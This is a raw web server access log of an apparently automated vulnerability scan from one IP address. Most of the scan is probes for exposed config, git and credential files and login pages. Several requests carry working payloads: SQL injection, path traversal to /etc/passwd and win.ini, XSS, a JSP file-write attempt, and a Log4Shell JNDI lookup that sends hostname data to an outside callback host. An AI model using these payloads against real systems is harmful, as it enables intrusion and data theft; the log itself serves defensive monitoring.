[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /BitKeeper/etc/config HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_cat/indices?v HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gui/login HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /views/ajax/autocomplete/user/a HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebReport/ReportServer HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.bzr/branch/branch.conf HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jquery-file-upload/server/php/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.gitignore HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fpui/jsp/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elmah.axd HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/elFinder.version.js HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /videoseyret.php?id=95%20AND%20(SELECT%204581%20FROM%20(SELECT(SLEEP(6)))NyiX) HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reportviewer/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core/install.php HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service.web HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(999999999),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)'' HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.js HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /account/signin?/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /casmain.xgi HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_darcs/prefs/binaries HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kb_view_customer.do?sysparm_article=KB00xxxx HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.php?act=login HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docs HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wfc/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_bin/lists.asmx?WSDL HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.local HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //production.ini HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/7 HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/login.do HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/dompdf/www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /profile HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings/settings.py HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.prod.yml HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 - - "GET / HTTP/1.0" 362
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/2 HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elfinder.html HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /GDSHost/Default.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //tmp HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ReportServer?op=fr_server&cmd=sc_getconnectioninfo HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authentication HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.svn/entries HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /development.log HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fcgi-bin/echo HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mysql.initial.sql HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.php?mod=login HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fsms/fsmsh.dll?FSMSCommand=${jndi:ldap://${:-385}${:-518}.${hostName}.username.d5g6sfahausljekepl20c3tddirc1w51n.oast.site/EV4VN} HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.Dockerfile HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_bin/Authentication.asmx?op=Mode HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.vscode/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core/install.php HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /era/webconsole/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fpui/loginServlet HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?q=result&searchfor=advancesearch HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NCFindWeb?service=IPreAlertConfigService&filename HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/manage/login?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event1&event2&event3=download&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.hg/hgrc HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v2/auth/roles HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /send_order.cgi?parameter=login HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //icons/blank.gif HTTP/1.1" 199
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /request_para.cgi?parameter=wifi_get_5g_host HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ESPEasy HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=Admin-Data-down&id=../../Conf/config.php HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df&param=action=sql%20sql=%27select%20md5(999999999)%27 HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filezilla.xml HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CDGServer3/SQL/MYSQL/create_SmartSec_mysql.sql HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/bc/ui5_ui5/ui2/ushell/shells/abap/FioriLaunchpad.html HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/environment.rb HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MyErrors.log HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /confluence HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/bc/ui5_ui5/ui2/ushell/shells/abap/FioriLaunchpad.html?saml2=disabled HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/F7hmtuDr.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=admin/views/ajax/autocomplete/user/a HTTP/1.1" 3426
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_all/_search HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ReportServer HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/login HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/.gitignore HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/dologin HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslvpn_logon.shtml HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /flexnet/logon.do HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgiServer?worker=LoginForm HTTP/1.1" 199
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/dologin HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download.php?file=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=fetch_posts&stream-id=1&hash=%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /m/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /firebase-debug.log HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WelcomeActions.jsp?action=ajaxGetWelcomeViewInfo HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.settings/rules.json?auth=FIREBASE_SECRET HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?redir=/ng HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/login HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pem/login/pages/login.jsf HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2/cmdb/system/admin/admin HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1 HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redoc HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phoenix/login.html HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MRcgi/MRlogin.pl HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wlm/login?next=/wlm HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p/login/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fpc/login/ HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/javascript%26colon%3Balert(document.domain);dd%26sol%3b%26sol%3b HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/froxlor.sql HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.example HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configurations/config_default HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/application/libraries/dompdf/www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redmine/config/environment.rb HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /21408623/cgi-bin/tsaws.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //prod.ini HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci.yml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Dockerfile HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/presets/?filter=true HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /credentials.db HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /explore/snippets HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/error.log HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.production.yml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sqlite/ HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openapi.json HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/3 HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gespage/webapp/login.xhtml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebReport/F7hmtuDr.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/?step=1 HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_config.yml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_inf.html HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /geoserver/j_spring_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git/logs/HEAD HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.sh HTTP/1.1" 196
[09/Jan/2026:10:51:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/constant-contact-forms/vendor/constantcontact/constantcontact/test/Json/Auth/get_access_token.json HTTP/1.1" 196
